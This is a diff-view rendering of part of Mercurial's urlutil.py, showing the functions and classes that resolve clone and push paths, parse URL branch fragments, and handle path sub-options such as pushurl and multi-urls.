578 b"default path points to %d urls while %s only supports one"
578 b"default path points to %d urls while %s only supports one"
579 )
579 )
580 msg %= (len(urls), action)
580 msg %= (len(urls), action)
581 else:
581 else:
582 msg = _(b"path points to %d urls while %s only supports one: %s")
582 msg = _(b"path points to %d urls while %s only supports one: %s")
583 msg %= (len(urls), action, source)
583 msg %= (len(urls), action, source)
584 raise error.Abort(msg)
584 raise error.Abort(msg)
585 return parseurl(urls[0], default_branches)
585 return parseurl(urls[0], default_branches)
586
586
587
587
588 def get_clone_path(ui, source, default_branches=()):
588 def get_clone_path(ui, source, default_branches=()):
589 """return the `(origsource, path, branch)` selected as clone source"""
589 """return the `(origsource, path, branch)` selected as clone source"""
590 urls = []
590 urls = []
591 if source is None:
591 if source is None:
592 if b'default' in ui.paths:
592 if b'default' in ui.paths:
593 urls.extend(p.rawloc for p in ui.paths[b'default'])
593 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 else:
594 else:
595 # XXX this is the historical default behavior, but that is not
595 # XXX this is the historical default behavior, but that is not
596 # great, consider breaking BC on this.
596 # great, consider breaking BC on this.
597 urls.append(b'default')
597 urls.append(b'default')
598 else:
598 else:
599 if source in ui.paths:
599 if source in ui.paths:
600 urls.extend(p.rawloc for p in ui.paths[source])
600 urls.extend(p.rawloc for p in ui.paths[source])
601 else:
601 else:
602 # Try to resolve as a local path or URI.
602 # Try to resolve as a local path or URI.
603 path = try_path(ui, source)
603 path = try_path(ui, source)
604 if path is not None:
604 if path is not None:
605 urls.append(path.rawloc)
605 urls.append(path.rawloc)
606 else:
606 else:
607 urls.append(source)
607 urls.append(source)
608 if len(urls) != 1:
608 if len(urls) != 1:
609 if source is None:
609 if source is None:
610 msg = _(
610 msg = _(
611 b"default path points to %d urls while only one is supported"
611 b"default path points to %d urls while only one is supported"
612 )
612 )
613 msg %= len(urls)
613 msg %= len(urls)
614 else:
614 else:
615 msg = _(b"path points to %d urls while only one is supported: %s")
615 msg = _(b"path points to %d urls while only one is supported: %s")
616 msg %= (len(urls), source)
616 msg %= (len(urls), source)
617 raise error.Abort(msg)
617 raise error.Abort(msg)
618 url = urls[0]
618 url = urls[0]
619 clone_path, branch = parseurl(url, default_branches)
619 clone_path, branch = parseurl(url, default_branches)
620 return url, clone_path, branch
620 return url, clone_path, branch
621
621
622
622
623 def parseurl(path, branches=None):
623 def parseurl(path, branches=None):
624 '''parse url#branch, returning (url, (branch, branches))'''
624 '''parse url#branch, returning (url, (branch, branches))'''
625 u = url(path)
625 u = url(path)
626 branch = None
626 branch = None
627 if u.fragment:
627 if u.fragment:
628 branch = u.fragment
628 branch = u.fragment
629 u.fragment = None
629 u.fragment = None
630 return bytes(u), (branch, branches or [])
630 return bytes(u), (branch, branches or [])
631
631
632
632
633 class paths(dict):
633 class paths(dict):
634 """Represents a collection of paths and their configs.
634 """Represents a collection of paths and their configs.
635
635
636 Data is initially derived from ui instances and the config files they have
636 Data is initially derived from ui instances and the config files they have
637 loaded.
637 loaded.
638 """
638 """
639
639
640 def __init__(self, ui):
640 def __init__(self, ui):
641 dict.__init__(self)
641 dict.__init__(self)
642
642
643 home_path = os.path.expanduser(b'~')
643 home_path = os.path.expanduser(b'~')
644
644
645 for name, value in ui.configitems(b'paths', ignoresub=True):
645 for name, value in ui.configitems(b'paths', ignoresub=True):
646 # No location is the same as not existing.
646 # No location is the same as not existing.
647 if not value:
647 if not value:
648 continue
648 continue
649 _value, sub_opts = ui.configsuboptions(b'paths', name)
649 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 s = ui.configsource(b'paths', name)
650 s = ui.configsource(b'paths', name)
651 root_key = (name, value, s)
651 root_key = (name, value, s)
652 root = ui._path_to_root.get(root_key, home_path)
652 root = ui._path_to_root.get(root_key, home_path)
653
653
654 multi_url = sub_opts.get(b'multi-urls')
654 multi_url = sub_opts.get(b'multi-urls')
655 if multi_url is not None and stringutil.parsebool(multi_url):
655 if multi_url is not None and stringutil.parsebool(multi_url):
656 base_locs = stringutil.parselist(value)
656 base_locs = stringutil.parselist(value)
657 else:
657 else:
658 base_locs = [value]
658 base_locs = [value]
659
659
660 paths = []
660 paths = []
661 for loc in base_locs:
661 for loc in base_locs:
662 loc = os.path.expandvars(loc)
662 loc = os.path.expandvars(loc)
663 loc = os.path.expanduser(loc)
663 loc = os.path.expanduser(loc)
664 if not hasscheme(loc) and not os.path.isabs(loc):
664 if not hasscheme(loc) and not os.path.isabs(loc):
665 loc = os.path.normpath(os.path.join(root, loc))
665 loc = os.path.normpath(os.path.join(root, loc))
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 paths.append(p)
667 paths.append(p)
668 self[name] = paths
668 self[name] = paths
669
669
670 for name, old_paths in sorted(self.items()):
670 for name, old_paths in sorted(self.items()):
671 new_paths = []
671 new_paths = []
672 for p in old_paths:
672 for p in old_paths:
673 new_paths.extend(_chain_path(p, ui, self))
673 new_paths.extend(_chain_path(p, ui, self))
674 self[name] = new_paths
674 self[name] = new_paths
675
675
676 def getpath(self, ui, name, default=None):
676 def getpath(self, ui, name, default=None):
677 """Return a ``path`` from a string, falling back to default.
677 """Return a ``path`` from a string, falling back to default.
678
678
679 ``name`` can be a named path or locations. Locations are filesystem
679 ``name`` can be a named path or locations. Locations are filesystem
680 paths or URIs.
680 paths or URIs.
681
681
682 Returns None if ``name`` is not a registered path, a URI, or a local
682 Returns None if ``name`` is not a registered path, a URI, or a local
683 path to a repo.
683 path to a repo.
684 """
684 """
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 ui.deprecwarn(msg, b'6.0')
686 ui.deprecwarn(msg, b'6.0')
687 # Only fall back to default if no path was requested.
687 # Only fall back to default if no path was requested.
688 if name is None:
688 if name is None:
689 if not default:
689 if not default:
690 default = ()
690 default = ()
691 elif not isinstance(default, (tuple, list)):
691 elif not isinstance(default, (tuple, list)):
692 default = (default,)
692 default = (default,)
693 for k in default:
693 for k in default:
694 try:
694 try:
695 return self[k][0]
695 return self[k][0]
696 except KeyError:
696 except KeyError:
697 continue
697 continue
698 return None
698 return None
699
699
700 # Most likely empty string.
700 # Most likely empty string.
701 # This may need to raise in the future.
701 # This may need to raise in the future.
702 if not name:
702 if not name:
703 return None
703 return None
704 if name in self:
704 if name in self:
705 return self[name][0]
705 return self[name][0]
706 else:
706 else:
707 # Try to resolve as a local path or URI.
707 # Try to resolve as a local path or URI.
708 path = try_path(ui, name)
708 path = try_path(ui, name)
709 if path is None:
709 if path is None:
710 raise error.RepoError(_(b'repository %s does not exist') % name)
710 raise error.RepoError(_(b'repository %s does not exist') % name)
711 return path.rawloc
711 return path.rawloc
712
712
713
713
714 _pathsuboptions = {}
714 _pathsuboptions = {}
715
715
716
716
717 def pathsuboption(option, attr):
717 def pathsuboption(option, attr):
718 """Decorator used to declare a path sub-option.
718 """Decorator used to declare a path sub-option.
719
719
720 Arguments are the sub-option name and the attribute it should set on
720 Arguments are the sub-option name and the attribute it should set on
721 ``path`` instances.
721 ``path`` instances.
722
722
723 The decorated function will receive as arguments a ``ui`` instance,
723 The decorated function will receive as arguments a ``ui`` instance,
724 ``path`` instance, and the string value of this option from the config.
724 ``path`` instance, and the string value of this option from the config.
725 The function should return the value that will be set on the ``path``
725 The function should return the value that will be set on the ``path``
726 instance.
726 instance.
727
727
728 This decorator can be used to perform additional verification of
728 This decorator can be used to perform additional verification of
729 sub-options and to change the type of sub-options.
729 sub-options and to change the type of sub-options.
730 """
730 """
731
731
732 def register(func):
732 def register(func):
733 _pathsuboptions[option] = (attr, func)
733 _pathsuboptions[option] = (attr, func)
734 return func
734 return func
735
735
736 return register
736 return register
737
737
738
738
739 @pathsuboption(b'pushurl', b'pushloc')
739 @pathsuboption(b'pushurl', b'pushloc')
740 def pushurlpathoption(ui, path, value):
740 def pushurlpathoption(ui, path, value):
741 u = url(value)
741 u = url(value)
742 # Actually require a URL.
742 # Actually require a URL.
743 if not u.scheme:
743 if not u.scheme:
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
745 msg %= (path.name, value)
745 msg %= (path.name, value)
746 ui.warn(msg)
746 ui.warn(msg)
747 return None
747 return None
748
748
749 # Don't support the #foo syntax in the push URL to declare branch to
749 # Don't support the #foo syntax in the push URL to declare branch to
750 # push.
750 # push.
751 if u.fragment:
751 if u.fragment:
752 ui.warn(
752 ui.warn(
753 _(
753 _(
754 b'("#fragment" in paths.%s:pushurl not supported; '
754 b'("#fragment" in paths.%s:pushurl not supported; '
755 b'ignoring)\n'
755 b'ignoring)\n'
756 )
756 )
757 % path.name
757 % path.name
758 )
758 )
759 u.fragment = None
759 u.fragment = None
760
760
761 return bytes(u)
761 return bytes(u)
762
762
763
763
764 @pathsuboption(b'pushrev', b'pushrev')
764 @pathsuboption(b'pushrev', b'pushrev')
765 def pushrevpathoption(ui, path, value):
765 def pushrevpathoption(ui, path, value):
766 return value
766 return value
767
767
768
768
769 @pathsuboption(b'multi-urls', b'multi_urls')
769 @pathsuboption(b'multi-urls', b'multi_urls')
770 def multiurls_pathoption(ui, path, value):
770 def multiurls_pathoption(ui, path, value):
771 res = stringutil.parsebool(value)
771 res = stringutil.parsebool(value)
772 if res is None:
772 if res is None:
773 ui.warn(
773 ui.warn(
774 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
774 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
775 )
775 )
776 res = False
776 res = False
777 return res
777 return res
778
778
779
779
780 def _chain_path(base_path, ui, paths):
780 def _chain_path(base_path, ui, paths):
781 """return the result of "path://" logic applied on a given path"""
781 """return the result of "path://" logic applied on a given path"""
782 new_paths = []
782 new_paths = []
783 if base_path.url.scheme != b'path':
783 if base_path.url.scheme != b'path':
784 new_paths.append(base_path)
784 new_paths.append(base_path)
785 else:
785 else:
786 assert base_path.url.path is None
786 assert base_path.url.path is None
787 sub_paths = paths.get(base_path.url.host)
787 sub_paths = paths.get(base_path.url.host)
788 if sub_paths is None:
788 if sub_paths is None:
789 m = _(b'cannot use `%s`, "%s" is not a known path')
789 m = _(b'cannot use `%s`, "%s" is not a known path')
790 m %= (base_path.rawloc, base_path.url.host)
790 m %= (base_path.rawloc, base_path.url.host)
791 raise error.Abort(m)
791 raise error.Abort(m)
792 for subpath in sub_paths:
792 for subpath in sub_paths:
793 path = base_path.copy()
793 path = base_path.copy()
794 if subpath.raw_url.scheme == b'path':
794 if subpath.raw_url.scheme == b'path':
795 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
795 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
796 m %= (path.rawloc, path.url.host)
796 m %= (path.rawloc, path.url.host)
797 raise error.Abort(m)
797 raise error.Abort(m)
798 path.url = subpath.url
798 path.url = subpath.url
799 path.rawloc = subpath.rawloc
799 path.rawloc = subpath.rawloc
800 path.loc = subpath.loc
800 path.loc = subpath.loc
801 if path.branch is None:
801 if path.branch is None:
802 path.branch = subpath.branch
802 path.branch = subpath.branch
803 else:
803 else:
804 base = path.rawloc.rsplit(b'#', 1)[0]
804 base = path.rawloc.rsplit(b'#', 1)[0]
805 path.rawloc = b'%s#%s' % (base, path.branch)
805 path.rawloc = b'%s#%s' % (base, path.branch)
806 suboptions = subpath._all_sub_opts.copy()
806 suboptions = subpath._all_sub_opts.copy()
807 suboptions.update(path._own_sub_opts)
807 suboptions.update(path._own_sub_opts)
808 path._apply_suboptions(ui, suboptions)
808 path._apply_suboptions(ui, suboptions)
809 new_paths.append(path)
809 new_paths.append(path)
810 return new_paths
810 return new_paths
811
811
812
812
813 class path(object):
813 class path(object):
814 """Represents an individual path and its configuration."""
814 """Represents an individual path and its configuration."""
815
815
816 def __init__(
816 def __init__(
817 self,
817 self,
818 ui=None,
818 ui=None,
819 name=None,
819 name=None,
820 rawloc=None,
820 rawloc=None,
821 suboptions=None,
821 suboptions=None,
822 validate_path=True,
822 validate_path=True,
823 ):
823 ):
824 """Construct a path from its config options.
824 """Construct a path from its config options.
825
825
826 ``ui`` is the ``ui`` instance the path is coming from.
826 ``ui`` is the ``ui`` instance the path is coming from.
827 ``name`` is the symbolic name of the path.
827 ``name`` is the symbolic name of the path.
828 ``rawloc`` is the raw location, as defined in the config.
828 ``rawloc`` is the raw location, as defined in the config.
829 ``pushloc`` is the raw locations pushes should be made to.
829 ``pushloc`` is the raw locations pushes should be made to.
830
830
831 If ``name`` is not defined, we require that the location be a) a local
831 If ``name`` is not defined, we require that the location be a) a local
832 filesystem path with a .hg directory or b) a URL. If not,
832 filesystem path with a .hg directory or b) a URL. If not,
833 ``ValueError`` is raised.
833 ``ValueError`` is raised.
834 """
834 """
835 if ui is None:
835 if ui is None:
836 # used in copy
836 # used in copy
837 assert name is None
837 assert name is None
838 assert rawloc is None
838 assert rawloc is None
839 assert suboptions is None
839 assert suboptions is None
840 return
840 return
841
841
842 if not rawloc:
842 if not rawloc:
843 raise ValueError(b'rawloc must be defined')
843 raise ValueError(b'rawloc must be defined')
844
844
845 # Locations may define branches via syntax <base>#<branch>.
845 # Locations may define branches via syntax <base>#<branch>.
846 u = url(rawloc)
846 u = url(rawloc)
847 branch = None
847 branch = None
848 if u.fragment:
848 if u.fragment:
849 branch = u.fragment
849 branch = u.fragment
850 u.fragment = None
850 u.fragment = None
851
851
852 self.url = u
852 self.url = u
853 # the url from the config/command line before dealing with `path://`
853 # the url from the config/command line before dealing with `path://`
854 self.raw_url = u.copy()
854 self.raw_url = u.copy()
855 self.branch = branch
855 self.branch = branch
856
856
857 self.name = name
857 self.name = name
858 self.rawloc = rawloc
858 self.rawloc = rawloc
859 self.loc = b'%s' % u
859 self.loc = b'%s' % u
860
860
861 if validate_path:
861 if validate_path:
862 self._validate_path()
862 self._validate_path()
863
863
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 self._own_sub_opts = {}
865 self._own_sub_opts = {}
866 if suboptions is not None:
866 if suboptions is not None:
867 self._own_sub_opts = suboptions.copy()
867 self._own_sub_opts = suboptions.copy()
868 sub_opts.update(suboptions)
868 sub_opts.update(suboptions)
869 self._all_sub_opts = sub_opts.copy()
869 self._all_sub_opts = sub_opts.copy()
870
870
871 self._apply_suboptions(ui, sub_opts)
871 self._apply_suboptions(ui, sub_opts)
872
872
873 def copy(self):
873 def copy(self):
874 """make a copy of this path object"""
874 """make a copy of this path object"""
875 new = self.__class__()
875 new = self.__class__()
876 for k, v in self.__dict__.items():
876 for k, v in self.__dict__.items():
877 new_copy = getattr(v, 'copy', None)
877 new_copy = getattr(v, 'copy', None)
878 if new_copy is not None:
878 if new_copy is not None:
879 v = new_copy()
879 v = new_copy()
880 new.__dict__[k] = v
880 new.__dict__[k] = v
881 return new
881 return new
882
882
883 def _validate_path(self):
883 def _validate_path(self):
884 # When given a raw location but not a symbolic name, validate the
884 # When given a raw location but not a symbolic name, validate the
885 # location is valid.
885 # location is valid.
886 if (
886 if (
887 not self.name
887 not self.name
888 and not self.url.scheme
888 and not self.url.scheme
889 and not self._isvalidlocalpath(self.loc)
889 and not self._isvalidlocalpath(self.loc)
890 ):
890 ):
891 raise ValueError(
891 raise ValueError(
892 b'location is not a URL or path to a local '
892 b'location is not a URL or path to a local '
893 b'repo: %s' % self.rawloc
893 b'repo: %s' % self.rawloc
894 )
894 )
895
895
896 def _apply_suboptions(self, ui, sub_options):
896 def _apply_suboptions(self, ui, sub_options):
897 # Now process the sub-options. If a sub-option is registered, its
897 # Now process the sub-options. If a sub-option is registered, its
898 # attribute will always be present. The value will be None if there
898 # attribute will always be present. The value will be None if there
899 # was no valid sub-option.
899 # was no valid sub-option.
900 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
900 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
901 if suboption not in sub_options:
901 if suboption not in sub_options:
902 setattr(self, attr, None)
902 setattr(self, attr, None)
903 continue
903 continue
904
904
905 value = func(ui, self, sub_options[suboption])
905 value = func(ui, self, sub_options[suboption])
906 setattr(self, attr, value)
906 setattr(self, attr, value)
907
907
908 def _isvalidlocalpath(self, path):
908 def _isvalidlocalpath(self, path):
909 """Returns True if the given path is a potentially valid repository.
909 """Returns True if the given path is a potentially valid repository.
910 This is its own function so that extensions can change the definition of
910 This is its own function so that extensions can change the definition of
911 'valid' in this case (like when pulling from a git repo into a hg
911 'valid' in this case (like when pulling from a git repo into a hg
912 one)."""
912 one)."""
913 try:
913 try:
914 return os.path.isdir(os.path.join(path, b'.hg'))
914 return os.path.isdir(os.path.join(path, b'.hg'))
915 # Python 2 may return TypeError. Python 3, ValueError.
915 # Python 2 may return TypeError. Python 3, ValueError.
916 except (TypeError, ValueError):
916 except (TypeError, ValueError):
917 return False
917 return False
918
918
919 @property
919 @property
920 def suboptions(self):
920 def suboptions(self):
921 """Return sub-options and their values for this path.
921 """Return sub-options and their values for this path.
922
922
923 This is intended to be used for presentation purposes.
923 This is intended to be used for presentation purposes.
924 """
924 """
925 d = {}
925 d = {}
926 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
926 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
927 value = getattr(self, attr)
927 value = getattr(self, attr)
928 if value is not None:
928 if value is not None:
929 d[subopt] = value
929 d[subopt] = value
930 return d
930 return d
General Comments 0
You need to be logged in to leave comments. Login now